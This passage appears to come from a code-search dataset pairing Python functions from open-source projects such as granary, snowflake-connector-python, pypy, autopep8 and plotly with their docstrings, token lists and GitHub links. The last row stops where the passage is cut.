snarfed/granary	ab085de2aef0cff8ac31a99b5e21443a249e8419	granary/facebook.py	python	Facebook._find_all_text	(soup, regexp)	return soup.find_all(lambda tag: any(regexp.match(c.string.strip()) for c in tag.contents if c.string))	BeautifulSoup utility that searches for text and returns a Tag. I'd rather just use soup.find(string=...), but it returns a NavigableString instead of a Tag, and I need a Tag so I can look at the elements inside it. https://www.crummy.com/software/BeautifulSoup/bs4/doc/#the-string-argument Args: soup: BeautifulSoup regexp: string, must match target's text after stripping whitespace	BeautifulSoup utility that searches for text and returns a Tag.	[ "BeautifulSoup", "utility", "that", "searches", "for", "text", "and", "returns", "a", "Tag", "." ]	def _find_all_text(soup, regexp): """BeautifulSoup utility that searches for text and returns a Tag. I'd rather just use soup.find(string=...), but it returns a NavigableString instead of a Tag, and I need a Tag so I can look at the elements inside it. https://www.crummy.com/software/BeautifulSoup/bs4/doc/#the-string-argument Args: soup: BeautifulSoup regexp: string, must match target's text after stripping whitespace """ regexp = re.compile(regexp) return soup.find_all(lambda tag: any(regexp.match(c.string.strip()) for c in tag.contents if c.string))	[ "def", "_find_all_text", "(", "soup", ",", "regexp", ")", ":", "regexp", "=", "re", ".", "compile", "(", "regexp", ")", "return", "soup", ".", "find_all", "(", "lambda", "tag", ":", "any", "(", "regexp", ".", "match", "(", "c", ".", "string", ".", "strip", "(", ")", ")", "for", "c", "in", "tag", ".", "contents", "if", "c", ".", "string", ")", ")" ]	https://github.com/snarfed/granary/blob/ab085de2aef0cff8ac31a99b5e21443a249e8419/granary/facebook.py#L1697-L1710
snowflakedb/snowflake-connector-python	1659ec6b78930d1f947b4eff985c891af614d86c	src/snowflake/connector/auth_webbrowser.py	python	AuthByWebBrowser._process_options	(self, data, socket_client)	return True	Allows JS Ajax access to this endpoint.	Allows JS Ajax access to this endpoint.	[ "Allows", "JS", "Ajax", "access", "to", "this", "endpoint", "." ]	def _process_options(self, data, socket_client): """Allows JS Ajax access to this endpoint.""" for line in data: if line.startswith("OPTIONS "): break else: return False self._get_user_agent(data) requested_headers, requested_origin = self._check_post_requested(data) if not requested_headers: return False if not self._validate_origin(requested_origin): # validate Origin and fail if not match with the server. return False self._origin = requested_origin content = [ "HTTP/1.1 200 OK", "Date: {}".format( time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) ), "Access-Control-Allow-Methods: POST, GET", "Access-Control-Allow-Headers: {}".format(requested_headers), "Access-Control-Max-Age: 86400", "Access-Control-Allow-Origin: {}".format(self._origin), "", "", ] socket_client.sendall("\r\n".join(content).encode("utf-8")) return True	[ "def", "_process_options", "(", "self", ",", "data", ",", "socket_client", ")", ":", "for", "line", "in", "data", ":", "if", "line", ".", "startswith", "(", "\"OPTIONS \"", ")", ":", "break", "else", ":", "return", "False", "self", ".", "_get_user_agent", "(", "data", ")", "requested_headers", ",", "requested_origin", "=", "self", ".", "_check_post_requested", "(", "data", ")", "if", "not", "requested_headers", ":", "return", "False", "if", "not", "self", ".", "_validate_origin", "(", "requested_origin", ")", ":", "# validate Origin and fail if not match with the server.", "return", "False", "self", ".", "_origin", "=", "requested_origin", "content", "=", "[", "\"HTTP/1.1 200 OK\"", ",", "\"Date: {}\"", ".", "format", "(", "time", ".", "strftime", "(", "\"%a, %d %b %Y %H:%M:%S GMT\"", ",", "time", ".", "gmtime", "(", ")", ")", ")", ",", "\"Access-Control-Allow-Methods: POST, GET\"", ",", "\"Access-Control-Allow-Headers: {}\"", ".", "format", "(", "requested_headers", ")", ",", "\"Access-Control-Max-Age: 86400\"", ",", "\"Access-Control-Allow-Origin: {}\"", ".", "format", "(", "self", ".", "_origin", ")", ",", "\"\"", ",", "\"\"", ",", "]", "socket_client", ".", "sendall", "(", "\"\\r\\n\"", ".", "join", "(", "content", ")", ".", "encode", "(", "\"utf-8\"", ")", ")", "return", "True" ]	https://github.com/snowflakedb/snowflake-connector-python/blob/1659ec6b78930d1f947b4eff985c891af614d86c/src/snowflake/connector/auth_webbrowser.py#L167-L198
pyinvoke/invoke	45dc9d03639dac5b6d1445831bf270e686ef88b4	invoke/watchers.py	python	Responder.pattern_matches	(self, stream, pattern, index_attr)	return matches	Generic "search for pattern in stream, using index" behavior. Used here and in some subclasses that want to track multiple patterns concurrently. :param unicode stream: The same data passed to ``submit``. :param unicode pattern: The pattern to search for. :param unicode index_attr: The name of the index attribute to use. :returns: An iterable of string matches. .. versionadded:: 1.0	Generic "search for pattern in stream, using index" behavior.	[ "Generic", "search", "for", "pattern", "in", "stream", "using", "index", "behavior", "." ]	def pattern_matches(self, stream, pattern, index_attr): """ Generic "search for pattern in stream, using index" behavior. Used here and in some subclasses that want to track multiple patterns concurrently. :param unicode stream: The same data passed to ``submit``. :param unicode pattern: The pattern to search for. :param unicode index_attr: The name of the index attribute to use. :returns: An iterable of string matches. .. versionadded:: 1.0 """ # NOTE: generifies scanning so it can be used to scan for >1 pattern at # once, e.g. in FailingResponder. # Only look at stream contents we haven't seen yet, to avoid dupes. index = getattr(self, index_attr) new_ = stream[index:] # Search, across lines if necessary matches = re.findall(pattern, new_, re.S) # Update seek index if we've matched if matches: setattr(self, index_attr, index + len(new_)) return matches	[ "def", "pattern_matches", "(", "self", ",", "stream", ",", "pattern", ",", "index_attr", ")", ":", "# NOTE: generifies scanning so it can be used to scan for >1 pattern at", "# once, e.g. in FailingResponder.", "# Only look at stream contents we haven't seen yet, to avoid dupes.", "index", "=", "getattr", "(", "self", ",", "index_attr", ")", "new_", "=", "stream", "[", "index", ":", "]", "# Search, across lines if necessary", "matches", "=", "re", ".", "findall", "(", "pattern", ",", "new_", ",", "re", ".", "S", ")", "# Update seek index if we've matched", "if", "matches", ":", "setattr", "(", "self", ",", "index_attr", ",", "index", "+", "len", "(", "new_", ")", ")", "return", "matches" ]	https://github.com/pyinvoke/invoke/blob/45dc9d03639dac5b6d1445831bf270e686ef88b4/invoke/watchers.py#L78-L102
apache/libcloud	90971e17bfd7b6bb97b2489986472c531cc8e140	libcloud/compute/drivers/vultr.py	python	VultrNodeDriverV2.list_volumes	(self)	return [self._to_volume(item) for item in data]	List storage volumes. :rtype: ``list`` of :class:`StorageVolume`	List storage volumes.	[ "List", "storage", "volumes", "." ]	def list_volumes(self) -> List[StorageVolume]: """List storage volumes. :rtype: ``list`` of :class:`StorageVolume` """ data = self._paginated_request("/v2/blocks", "blocks") return [self._to_volume(item) for item in data]	[ "def", "list_volumes", "(", "self", ")", "->", "List", "[", "StorageVolume", "]", ":", "data", "=", "self", ".", "_paginated_request", "(", "\"/v2/blocks\"", ",", "\"blocks\"", ")", "return", "[", "self", ".", "_to_volume", "(", "item", ")", "for", "item", "in", "data", "]" ]	https://github.com/apache/libcloud/blob/90971e17bfd7b6bb97b2489986472c531cc8e140/libcloud/compute/drivers/vultr.py#L1400-L1406
openshift/openshift-tools	1188778e728a6e4781acf728123e5b356380fe6f	openshift_tools/monitoring/metric_sender.py	python	MetricSender.add_dynamic_metric	(self, discovery_key, macro_string, macro_array, host=None, synthetic=False)		apply add_dynamic_metric for each sender	apply add_dynamic_metric for each sender	[ "apply", "add_dynamic_metric", "for", "each", "sender" ]	def add_dynamic_metric(self, discovery_key, macro_string, macro_array, host=None, synthetic=False): ''' apply add_dynamic_metric for each sender''' for sender in self.active_senders: sender.add_dynamic_metric(discovery_key, macro_string, macro_array, host, synthetic)	[ "def", "add_dynamic_metric", "(", "self", ",", "discovery_key", ",", "macro_string", ",", "macro_array", ",", "host", "=", "None", ",", "synthetic", "=", "False", ")", ":", "for", "sender", "in", "self", ".", "active_senders", ":", "sender", ".", "add_dynamic_metric", "(", "discovery_key", ",", "macro_string", ",", "macro_array", ",", "host", ",", "synthetic", ")" ]	https://github.com/openshift/openshift-tools/blob/1188778e728a6e4781acf728123e5b356380fe6f/openshift_tools/monitoring/metric_sender.py#L75-L78
mesalock-linux/mesapy	ed546d59a21b36feb93e2309d5c6b75aa0ad95c9	lib-python/2.7/decimal.py	python	Decimal.__float__	(self)	return float(s)	Float representation.	Float representation.	[ "Float", "representation", "." ]	def __float__(self): """Float representation.""" if self._isnan(): if self.is_snan(): raise ValueError("Cannot convert signaling NaN to float") s = "-nan" if self._sign else "nan" else: s = str(self) return float(s)	[ "def", "__float__", "(", "self", ")", ":", "if", "self", ".", "_isnan", "(", ")", ":", "if", "self", ".", "is_snan", "(", ")", ":", "raise", "ValueError", "(", "\"Cannot convert signaling NaN to float\"", ")", "s", "=", "\"-nan\"", "if", "self", ".", "_sign", "else", "\"nan\"", "else", ":", "s", "=", "str", "(", "self", ")", "return", "float", "(", "s", ")" ]	https://github.com/mesalock-linux/mesapy/blob/ed546d59a21b36feb93e2309d5c6b75aa0ad95c9/lib-python/2.7/decimal.py#L1580-L1588
buke/GreenOdoo	3d8c55d426fb41fdb3f2f5a1533cfe05983ba1df	source/addons/resource/resource.py	python	resource_calendar._interval_hours_get	(self, cr, uid, id, dt_from, dt_to, resource_id=False, timezone_from_uid=None, exclude_leaves=True, context=None)	return self.get_working_hours( cr, uid, id, dt_from, dt_to, compute_leaves=(not exclude_leaves), resource_id=resource_id, default_interval=(8, 16), context=context)	Computes working hours between two dates, taking always same hour/minuts. :deprecated: OpenERP saas-3. Use get_working_hours instead. Note: since saas-3, now resets hour/minuts. Now counts leave hours instead of all-day leaves.	Computes working hours between two dates, taking always same hour/minuts.	[ "Computes", "working", "hours", "between", "two", "dates", "taking", "always", "same", "hour", "/", "minuts", "." ]	def _interval_hours_get(self, cr, uid, id, dt_from, dt_to, resource_id=False, timezone_from_uid=None, exclude_leaves=True, context=None): """ Computes working hours between two dates, taking always same hour/minuts. :deprecated: OpenERP saas-3. Use get_working_hours instead. Note: since saas-3, now resets hour/minuts. Now counts leave hours instead of all-day leaves.""" return self.get_working_hours( cr, uid, id, dt_from, dt_to, compute_leaves=(not exclude_leaves), resource_id=resource_id, default_interval=(8, 16), context=context)	[ "def", "_interval_hours_get", "(", "self", ",", "cr", ",", "uid", ",", "id", ",", "dt_from", ",", "dt_to", ",", "resource_id", "=", "False", ",", "timezone_from_uid", "=", "None", ",", "exclude_leaves", "=", "True", ",", "context", "=", "None", ")", ":", "return", "self", ".", "get_working_hours", "(", "cr", ",", "uid", ",", "id", ",", "dt_from", ",", "dt_to", ",", "compute_leaves", "=", "(", "not", "exclude_leaves", ")", ",", "resource_id", "=", "resource_id", ",", "default_interval", "=", "(", "8", ",", "16", ")", ",", "context", "=", "context", ")" ]	https://github.com/buke/GreenOdoo/blob/3d8c55d426fb41fdb3f2f5a1533cfe05983ba1df/source/addons/resource/resource.py#L627-L635
mozillazg/pypy	2ff5cd960c075c991389f842c6d59e71cf0cb7d0	rpython/translator/driver.py	python	TranslationDriver.create_exe	(self)		Copy the compiled executable into current directory, which is pypy/goal on nightly builds	Copy the compiled executable into current directory, which is pypy/goal on nightly builds	[ "Copy", "the", "compiled", "executable", "into", "current", "directory", "which", "is", "pypy", "/", "goal", "on", "nightly", "builds" ]	def create_exe(self): """ Copy the compiled executable into current directory, which is pypy/goal on nightly builds """ if self.exe_name is not None: exename = self.c_entryp newexename = py.path.local(exename.basename) shutil_copy(str(exename), str(newexename)) self.log.info("copied: %s to %s" % (exename, newexename,)) if self.cbuilder.shared_library_name is not None: soname = self.cbuilder.shared_library_name newsoname = newexename.new(basename=soname.basename) shutil_copy(str(soname), str(newsoname)) self.log.info("copied: %s to %s" % (soname, newsoname,)) if hasattr(self.cbuilder, 'executable_name_w'): # Copy pypyw.exe exename_w = self.cbuilder.executable_name_w newexename_w = py.path.local(exename_w.basename) self.log.info("copied: %s to %s" % (exename_w, newexename_w,)) shutil_copy(str(exename_w), str(newexename_w)) # for pypy, the import library is renamed and moved to # libs/python32.lib, according to the pragma in pyconfig.h libname = self.config.translation.libname oldlibname = soname.new(ext='lib') if not libname: libname = oldlibname.basename libname = str(newsoname.dirpath().join(libname)) shutil.copyfile(str(oldlibname), libname) self.log.info("copied: %s to %s" % (oldlibname, libname,)) # the pdb file goes in the same place as pypy(w).exe ext_to_copy = ['pdb',] for ext in ext_to_copy: name = soname.new(ext=ext) newname = newexename.new(basename=soname.basename) shutil.copyfile(str(name), str(newname.new(ext=ext))) self.log.info("copied: %s" % (newname,)) # HACK: copy libcffi-*.dll which is required for venvs # At some point, we should stop doing this, and instead # use the artifact from packaging the build instead libffi = py.path.local.sysfind('libffi-8.dll') if sys.platform == 'win32' and not libffi: raise RuntimeError('could not find libffi') elif libffi: # in tests, we can mock using windows without libffi shutil.copyfile(str(libffi), os.getcwd() + r'\libffi-8.dll') self.c_entryp = newexename self.log.info("created: %s" % (self.c_entryp,))	[ "def", "create_exe", "(", "self", ")", ":", "if", "self", ".", "exe_name", "is", "not", "None", ":", "exename", "=", "self", ".", "c_entryp", "newexename", "=", "py", ".", "path", ".", "local", "(", "exename", ".", "basename", ")", "shutil_copy", "(", "str", "(", "exename", ")", ",", "str", "(", "newexename", ")", ")", "self", ".", "log", ".", "info", "(", "\"copied: %s to %s\"", "%", "(", "exename", ",", "newexename", ",", ")", ")", "if", "self", ".", "cbuilder", ".", "shared_library_name", "is", "not", "None", ":", "soname", "=", "self", ".", "cbuilder", ".", "shared_library_name", "newsoname", "=", "newexename", ".", "new", "(", "basename", "=", "soname", ".", "basename", ")", "shutil_copy", "(", "str", "(", "soname", ")", ",", "str", "(", "newsoname", ")", ")", "self", ".", "log", ".", "info", "(", "\"copied: %s to %s\"", "%", "(", "soname", ",", "newsoname", ",", ")", ")", "if", "hasattr", "(", "self", ".", "cbuilder", ",", "'executable_name_w'", ")", ":", "# Copy pypyw.exe", "exename_w", "=", "self", ".", "cbuilder", ".", "executable_name_w", "newexename_w", "=", "py", ".", "path", ".", "local", "(", "exename_w", ".", "basename", ")", "self", ".", "log", ".", "info", "(", "\"copied: %s to %s\"", "%", "(", "exename_w", ",", "newexename_w", ",", ")", ")", "shutil_copy", "(", "str", "(", "exename_w", ")", ",", "str", "(", "newexename_w", ")", ")", "# for pypy, the import library is renamed and moved to", "# libs/python32.lib, according to the pragma in pyconfig.h", "libname", "=", "self", ".", "config", ".", "translation", ".", "libname", "oldlibname", "=", "soname", ".", "new", "(", "ext", "=", "'lib'", ")", "if", "not", "libname", ":", "libname", "=", "oldlibname", ".", "basename", "libname", "=", "str", "(", "newsoname", ".", "dirpath", "(", ")", ".", "join", "(", "libname", ")", ")", "shutil", ".", "copyfile", "(", "str", "(", "oldlibname", ")", ",", "libname", ")", "self", ".", "log", ".", "info", "(", "\"copied: %s to %s\"", "%", "(", "oldlibname", ",", "libname", ",", ")", ")", "# the pdb file goes in the same place as pypy(w).exe", "ext_to_copy", "=", "[", "'pdb'", ",", "]", "for", "ext", "in", "ext_to_copy", ":", "name", "=", "soname", ".", "new", "(", "ext", "=", "ext", ")", "newname", "=", "newexename", ".", "new", "(", "basename", "=", "soname", ".", "basename", ")", "shutil", ".", "copyfile", "(", "str", "(", "name", ")", ",", "str", "(", "newname", ".", "new", "(", "ext", "=", "ext", ")", ")", ")", "self", ".", "log", ".", "info", "(", "\"copied: %s\"", "%", "(", "newname", ",", ")", ")", "# HACK: copy libcffi-*.dll which is required for venvs", "# At some point, we should stop doing this, and instead", "# use the artifact from packaging the build instead", "libffi", "=", "py", ".", "path", ".", "local", ".", "sysfind", "(", "'libffi-8.dll'", ")", "if", "sys", ".", "platform", "==", "'win32'", "and", "not", "libffi", ":", "raise", "RuntimeError", "(", "'could not find libffi'", ")", "elif", "libffi", ":", "# in tests, we can mock using windows without libffi", "shutil", ".", "copyfile", "(", "str", "(", "libffi", ")", ",", "os", ".", "getcwd", "(", ")", "+", "r'\\libffi-8.dll'", ")", "self", ".", "c_entryp", "=", "newexename", "self", ".", "log", ".", "info", "(", "\"created: %s\"", "%", "(", "self", ".", "c_entryp", ",", ")", ")" ]	https://github.com/mozillazg/pypy/blob/2ff5cd960c075c991389f842c6d59e71cf0cb7d0/rpython/translator/driver.py#L476-L522
microsoft/debugpy	be8dd607f6837244e0b565345e497aff7a0c08bf	src/debugpy/_vendored/pydevd/third_party/pep8/autopep8.py	python	shorten_comment	(line, max_line_length, last_comment=False)		Return trimmed or split long comment line. If there are no comments immediately following it, do a text wrap. Doing this wrapping on all comments in general would lead to jagged comment text.	Return trimmed or split long comment line.	[ "Return", "trimmed", "or", "split", "long", "comment", "line", "." ]	def shorten_comment(line, max_line_length, last_comment=False): """Return trimmed or split long comment line. If there are no comments immediately following it, do a text wrap. Doing this wrapping on all comments in general would lead to jagged comment text. """ assert len(line) > max_line_length line = line.rstrip() # PEP 8 recommends 72 characters for comment text. indentation = _get_indentation(line) + '# ' max_line_length = min(max_line_length, len(indentation) + 72) MIN_CHARACTER_REPEAT = 5 if ( len(line) - len(line.rstrip(line[-1])) >= MIN_CHARACTER_REPEAT and not line[-1].isalnum() ): # Trim comments that end with things like --------- return line[:max_line_length] + '\n' elif last_comment and re.match(r'\s#+\s\w+', line): split_lines = textwrap.wrap(line.lstrip(' \t#'), initial_indent=indentation, subsequent_indent=indentation, width=max_line_length, break_long_words=False, break_on_hyphens=False) return '\n'.join(split_lines) + '\n' else: return line + '\n'	[ "def", "shorten_comment", "(", "line", ",", "max_line_length", ",", "last_comment", "=", "False", ")", ":", "assert", "len", "(", "line", ")", ">", "max_line_length", "line", "=", "line", ".", "rstrip", "(", ")", "# PEP 8 recommends 72 characters for comment text.", "indentation", "=", "_get_indentation", "(", "line", ")", "+", "'# '", "max_line_length", "=", "min", "(", "max_line_length", ",", "len", "(", "indentation", ")", "+", "72", ")", "MIN_CHARACTER_REPEAT", "=", "5", "if", "(", "len", "(", "line", ")", "-", "len", "(", "line", ".", "rstrip", "(", "line", "[", "-", "1", "]", ")", ")", ">=", "MIN_CHARACTER_REPEAT", "and", "not", "line", "[", "-", "1", "]", ".", "isalnum", "(", ")", ")", ":", "# Trim comments that end with things like ---------", "return", "line", "[", ":", "max_line_length", "]", "+", "'\\n'", "elif", "last_comment", "and", "re", ".", "match", "(", "r'\\s#+\\s\\w+'", ",", "line", ")", ":", "split_lines", "=", "textwrap", ".", "wrap", "(", "line", ".", "lstrip", "(", "' \\t#'", ")", ",", "initial_indent", "=", "indentation", ",", "subsequent_indent", "=", "indentation", ",", "width", "=", "max_line_length", ",", "break_long_words", "=", "False", ",", "break_on_hyphens", "=", "False", ")", "return", "'\\n'", ".", "join", "(", "split_lines", ")", "+", "'\\n'", "else", ":", "return", "line", "+", "'\\n'" ]	https://github.com/microsoft/debugpy/blob/be8dd607f6837244e0b565345e497aff7a0c08bf/src/debugpy/_vendored/pydevd/third_party/pep8/autopep8.py#L2927-L2959
mtivadar/qiew	87a3b96b43f1745a6b3f1fcfebce5164d2a40a14	plugins/format/binary.py	python	Binary.getBanners	(self)	return [Banners.FileAddrBanner(self.dataModel, self._viewMode), Banners.TopBanner(self.dataModel, self._viewMode), Banners.BottomBanner(self.dataModel, self._viewMode)]			[]	def getBanners(self): return [Banners.FileAddrBanner(self.dataModel, self._viewMode), Banners.TopBanner(self.dataModel, self._viewMode), Banners.BottomBanner(self.dataModel, self._viewMode)]	[ "def", "getBanners", "(", "self", ")", ":", "return", "[", "Banners", ".", "FileAddrBanner", "(", "self", ".", "dataModel", ",", "self", ".", "_viewMode", ")", ",", "Banners", ".", "TopBanner", "(", "self", ".", "dataModel", ",", "self", ".", "_viewMode", ")", ",", "Banners", ".", "BottomBanner", "(", "self", ".", "dataModel", ",", "self", ".", "_viewMode", ")", "]" ]	https://github.com/mtivadar/qiew/blob/87a3b96b43f1745a6b3f1fcfebce5164d2a40a14/plugins/format/binary.py#L48-L49
opendevops-cn/opendevops	538dc9b93bd7c08f36a2d6a7eb8df848f7d7f3d0	scripts/tornado_source_code/tornado/autoreload.py	python	add_reload_hook	(fn: Callable[[], None])		Add a function to be called before reloading the process. Note that for open file and socket handles it is generally preferable to set the ``FD_CLOEXEC`` flag (using `fcntl` or ``tornado.platform.auto.set_close_exec``) instead of using a reload hook to close them.	Add a function to be called before reloading the process.	[ "Add", "a", "function", "to", "be", "called", "before", "reloading", "the", "process", "." ]	def add_reload_hook(fn: Callable[[], None]) -> None: """Add a function to be called before reloading the process. Note that for open file and socket handles it is generally preferable to set the ``FD_CLOEXEC`` flag (using `fcntl` or ``tornado.platform.auto.set_close_exec``) instead of using a reload hook to close them. """ _reload_hooks.append(fn)	[ "def", "add_reload_hook", "(", "fn", ":", "Callable", "[", "[", "]", ",", "None", "]", ")", "->", "None", ":", "_reload_hooks", ".", "append", "(", "fn", ")" ]	https://github.com/opendevops-cn/opendevops/blob/538dc9b93bd7c08f36a2d6a7eb8df848f7d7f3d0/scripts/tornado_source_code/tornado/autoreload.py#L156-L164
bcbio/bcbio-nextgen	c80f9b6b1be3267d1f981b7035e3b72441d258f2	bcbio/cwl/workflow.py	python	_merge_wf_inputs	(new, out, wf_outputs, to_ignore, parallel, nested_inputs)	return out, remapped_new	Merge inputs for a sub-workflow, adding any not present inputs in out. Skips inputs that are internally generated or generated and ignored, keeping only as inputs those that we do not generate internally.	Merge inputs for a sub-workflow, adding any not present inputs in out.	[ "Merge", "inputs", "for", "a", "sub", "-", "workflow", "adding", "any", "not", "present", "inputs", "in", "out", "." ]	def _merge_wf_inputs(new, out, wf_outputs, to_ignore, parallel, nested_inputs): """Merge inputs for a sub-workflow, adding any not present inputs in out. Skips inputs that are internally generated or generated and ignored, keeping only as inputs those that we do not generate internally. """ internal_generated_ids = [] for vignore in to_ignore: vignore_id = _get_string_vid(vignore) # ignore anything we generate internally, but not those we need to pull in # from the external process if vignore_id not in [v["id"] for v in wf_outputs]: internal_generated_ids.append(vignore_id) ignore_ids = set(internal_generated_ids + [v["id"] for v in wf_outputs]) cur_ids = set([v["id"] for v in out]) remapped_new = [] for v in new: remapped_v = copy.deepcopy(v) outv = copy.deepcopy(v) outv["id"] = get_base_id(v["id"]) outv["source"] = v["id"] if outv["id"] not in cur_ids and outv["id"] not in ignore_ids: if nested_inputs and v["id"] in nested_inputs: outv = _flatten_nested_input(outv) out.append(outv) if remapped_v["id"] in set([v["source"] for v in out]): remapped_v["source"] = get_base_id(remapped_v["id"]) remapped_new.append(remapped_v) return out, remapped_new	[ "def", "_merge_wf_inputs", "(", "new", ",", "out", ",", "wf_outputs", ",", "to_ignore", ",", "parallel", ",", "nested_inputs", ")", ":", "internal_generated_ids", "=", "[", "]", "for", "vignore", "in", "to_ignore", ":", "vignore_id", "=", "_get_string_vid", "(", "vignore", ")", "# ignore anything we generate internally, but not those we need to pull in", "# from the external process", "if", "vignore_id", "not", "in", "[", "v", "[", "\"id\"", "]", "for", "v", "in", "wf_outputs", "]", ":", "internal_generated_ids", ".", "append", "(", "vignore_id", ")", "ignore_ids", "=", "set", "(", "internal_generated_ids", "+", "[", "v", "[", "\"id\"", "]", "for", "v", "in", "wf_outputs", "]", ")", "cur_ids", "=", "set", "(", "[", "v", "[", "\"id\"", "]", "for", "v", "in", "out", "]", ")", "remapped_new", "=", "[", "]", "for", "v", "in", "new", ":", "remapped_v", "=", "copy", ".", "deepcopy", "(", "v", ")", "outv", "=", "copy", ".", "deepcopy", "(", "v", ")", "outv", "[", "\"id\"", "]", "=", "get_base_id", "(", "v", "[", "\"id\"", "]", ")", "outv", "[", "\"source\"", "]", "=", "v", "[", "\"id\"", "]", "if", "outv", "[", "\"id\"", "]", "not", "in", "cur_ids", "and", "outv", "[", "\"id\"", "]", "not", "in", "ignore_ids", ":", "if", "nested_inputs", "and", "v", "[", "\"id\"", "]", "in", "nested_inputs", ":", "outv", "=", "_flatten_nested_input", "(", "outv", ")", "out", ".", "append", "(", "outv", ")", "if", "remapped_v", "[", "\"id\"", "]", "in", "set", "(", "[", "v", "[", "\"source\"", "]", "for", "v", "in", "out", "]", ")", ":", "remapped_v", "[", "\"source\"", "]", "=", "get_base_id", "(", "remapped_v", "[", "\"id\"", "]", ")", "remapped_new", ".", "append", "(", "remapped_v", ")", "return", "out", ",", "remapped_new" ]	https://github.com/bcbio/bcbio-nextgen/blob/c80f9b6b1be3267d1f981b7035e3b72441d258f2/bcbio/cwl/workflow.py#L72-L100
keon/algorithms	23d4e85a506eaeaff315e855be12f8dbe47a7ec3	algorithms/tree/segment_tree/iterative_segment_tree.py	python	SegmentTree.build_tree	(self)				[]	def build_tree(self): for i in range(self.size - 1, 0, -1): self.tree[i] = self.fn(self.tree[i * 2], self.tree[i * 2 + 1])	[ "def", "build_tree", "(", "self", ")", ":", "for", "i", "in", "range", "(", "self", ".", "size", "-", "1", ",", "0", ",", "-", "1", ")", ":", "self", ".", "tree", "[", "i", "]", "=", "self", ".", "fn", "(", "self", ".", "tree", "[", "i", "", "2", "]", ",", "self", ".", "tree", "[", "i", "", "2", "+", "1", "]", ")" ]	https://github.com/keon/algorithms/blob/23d4e85a506eaeaff315e855be12f8dbe47a7ec3/algorithms/tree/segment_tree/iterative_segment_tree.py#L33-L35
pantsbuild/pex	473c6ac732ed4bc338b4b20a9ec930d1d722c9b4	pex/vendor/_vendored/pip/pip/_vendor/pep517/wrappers.py	python	HookMissing.__init__	(self, hook_name)				[]	def __init__(self, hook_name): super(HookMissing, self).__init__(hook_name) self.hook_name = hook_name	[ "def", "__init__", "(", "self", ",", "hook_name", ")", ":", "super", "(", "HookMissing", ",", "self", ")", ".", "__init__", "(", "hook_name", ")", "self", ".", "hook_name", "=", "hook_name" ]	https://github.com/pantsbuild/pex/blob/473c6ac732ed4bc338b4b20a9ec930d1d722c9b4/pex/vendor/_vendored/pip/pip/_vendor/pep517/wrappers.py#L58-L60
plotly/plotly.py	cfad7862594b35965c0e000813bd7805e8494a5b	packages/python/plotly/plotly/figure_factory/utils.py	python	annotation_dict_for_label	( text, lane, num_of_lanes, subplot_spacing, row_col="col", flipped=True, right_side=True, text_color="#0f0f0f", )	return annotation_dict	Returns annotation dict for label of n labels of a 1xn or nx1 subplot. :param (str) text: the text for a label. :param (int) lane: the label number for text. From 1 to n inclusive. :param (int) num_of_lanes: the number 'n' of rows or columns in subplot. :param (float) subplot_spacing: the value for the horizontal_spacing and vertical_spacing params in your plotly.tools.make_subplots() call. :param (str) row_col: choose whether labels are placed along rows or columns. :param (bool) flipped: flips text by 90 degrees. Text is printed horizontally if set to True and row_col='row', or if False and row_col='col'. :param (bool) right_side: only applicable if row_col is set to 'row'. :param (str) text_color: color of the text.	Returns annotation dict for label of n labels of a 1xn or nx1 subplot.	[ "Returns", "annotation", "dict", "for", "label", "of", "n", "labels", "of", "a", "1xn", "or", "nx1", "subplot", "." ]	def annotation_dict_for_label( text, lane, num_of_lanes, subplot_spacing, row_col="col", flipped=True, right_side=True, text_color="#0f0f0f", ): """ Returns annotation dict for label of n labels of a 1xn or nx1 subplot. :param (str) text: the text for a label. :param (int) lane: the label number for text. From 1 to n inclusive. :param (int) num_of_lanes: the number 'n' of rows or columns in subplot. :param (float) subplot_spacing: the value for the horizontal_spacing and vertical_spacing params in your plotly.tools.make_subplots() call. :param (str) row_col: choose whether labels are placed along rows or columns. :param (bool) flipped: flips text by 90 degrees. Text is printed horizontally if set to True and row_col='row', or if False and row_col='col'. :param (bool) right_side: only applicable if row_col is set to 'row'. :param (str) text_color: color of the text. """ l = (1 - (num_of_lanes - 1) * subplot_spacing) / (num_of_lanes) if not flipped: xanchor = "center" yanchor = "middle" if row_col == "col": x = (lane - 1) * (l + subplot_spacing) + 0.5 * l y = 1.03 textangle = 0 elif row_col == "row": y = (lane - 1) * (l + subplot_spacing) + 0.5 * l x = 1.03 textangle = 90 else: if row_col == "col": xanchor = "center" yanchor = "bottom" x = (lane - 1) * (l + subplot_spacing) + 0.5 * l y = 1.0 textangle = 270 elif row_col == "row": yanchor = "middle" y = (lane - 1) * (l + subplot_spacing) + 0.5 * l if right_side: x = 1.0 xanchor = "left" else: x = -0.01 xanchor = "right" textangle = 0 annotation_dict = dict( textangle=textangle, xanchor=xanchor, yanchor=yanchor, x=x, y=y, showarrow=False, xref="paper", yref="paper", text=text, font=dict(size=13, color=text_color), ) return annotation_dict	[ "def", "annotation_dict_for_label", "(", "text", ",", "lane", ",", "num_of_lanes", ",", "subplot_spacing", ",", "row_col", "=", "\"col\"", ",", "flipped", "=", "True", ",", "right_side", "=", "True", ",", "text_color", "=", "\"#0f0f0f\"", ",", ")", ":", "l", "=", "(", "1", "-", "(", "num_of_lanes", "-", "1", ")", "", "subplot_spacing", ")", "/", "(", "num_of_lanes", ")", "if", "not", "flipped", ":", "xanchor", "=", "\"center\"", "yanchor", "=", "\"middle\"", "if", "row_col", "==", "\"col\"", ":", "x", "=", "(", "lane", "-", "1", ")", "", "(", "l", "+", "subplot_spacing", ")", "+", "0.5", "", "l", "y", "=", "1.03", "textangle", "=", "0", "elif", "row_col", "==", "\"row\"", ":", "y", "=", "(", "lane", "-", "1", ")", "", "(", "l", "+", "subplot_spacing", ")", "+", "0.5", "", "l", "x", "=", "1.03", "textangle", "=", "90", "else", ":", "if", "row_col", "==", "\"col\"", ":", "xanchor", "=", "\"center\"", "yanchor", "=", "\"bottom\"", "x", "=", "(", "lane", "-", "1", ")", "", "(", "l", "+", "subplot_spacing", ")", "+", "0.5", "", "l", "y", "=", "1.0", "textangle", "=", "270", "elif", "row_col", "==", "\"row\"", ":", "yanchor", "=", "\"middle\"", "y", "=", "(", "lane", "-", "1", ")", "", "(", "l", "+", "subplot_spacing", ")", "+", "0.5", "*", "l", "if", "right_side", ":", "x", "=", "1.0", "xanchor", "=", "\"left\"", "else", ":", "x", "=", "-", "0.01", "xanchor", "=", "\"right\"", "textangle", "=", "0", "annotation_dict", "=", "dict", "(", "textangle", "=", "textangle", ",", "xanchor", "=", "xanchor", ",", "yanchor", "=", "yanchor", ",", "x", "=", "x", ",", "y", "=", "y", ",", "showarrow", "=", "False", ",", "xref", 